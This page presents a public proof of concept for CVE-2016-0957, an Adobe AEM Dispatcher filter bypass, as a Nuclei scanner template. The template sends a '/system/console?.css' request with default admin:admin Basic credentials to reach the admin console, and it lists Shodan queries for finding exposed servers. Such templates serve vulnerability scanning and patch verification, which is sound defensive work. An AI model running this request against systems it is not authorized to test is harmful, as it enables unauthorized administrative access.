CVE-2016-0957: Adobe AEM Dispatcher <4.15 - Rules Bypass

2025-08-01 Adobe AEM Dispatcher PoC Public

Description

Dispatcher before 4.1.5 in Adobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 does not properly implement a URL filter, which allows remote attackers to bypass dispatcher rules via unspecified vectors.

PoC

id: CVE-2016-0957

info:
  name: Adobe AEM Dispatcher <4.15 - Rules Bypass
  author: geeknik
  severity: high
  description: Dispatcher before 4.1.5 in Adobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 does not properly implement a URL filter, which allows remote attackers to bypass dispatcher rules via unspecified vectors.
  impact: |
    The vulnerability allows attackers to bypass security rules and potentially gain unauthorized access to sensitive information or perform malicious actions.
  remediation: |
    Upgrade to Adobe AEM Dispatcher version 4.15 or higher to fix the vulnerability.
  reference:
    - https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
    - https://helpx.adobe.com/security/products/experience-manager/apsb16-05.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-0957
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-0957
    epss-score: 0.51989
    epss-percentile: 0.98895
    cpe: cpe:2.3:a:adobe:dispatcher:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: dispatcher
    shodan-query:
      - http.component:"Adobe Experience Manager"
      - http.component:"adobe experience manager"
  tags: cve2016,cve,adobe,aem,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/console?.css"

    headers:
      Authorization: "Basic YWRtaW46YWRtaW4K"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Adobe"
          - "java.lang"
          - "(Runtime)"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022011ebbb2fced36ac9ef1bfea35761a04d9b22c246e659c7e3308820f9c3390cba02206dc7bbe368ab7d7d656db67428d12b025d20fc0cb356de553be4c4fb8d5585aa:922c64590222798bb761d5b6d8e72950

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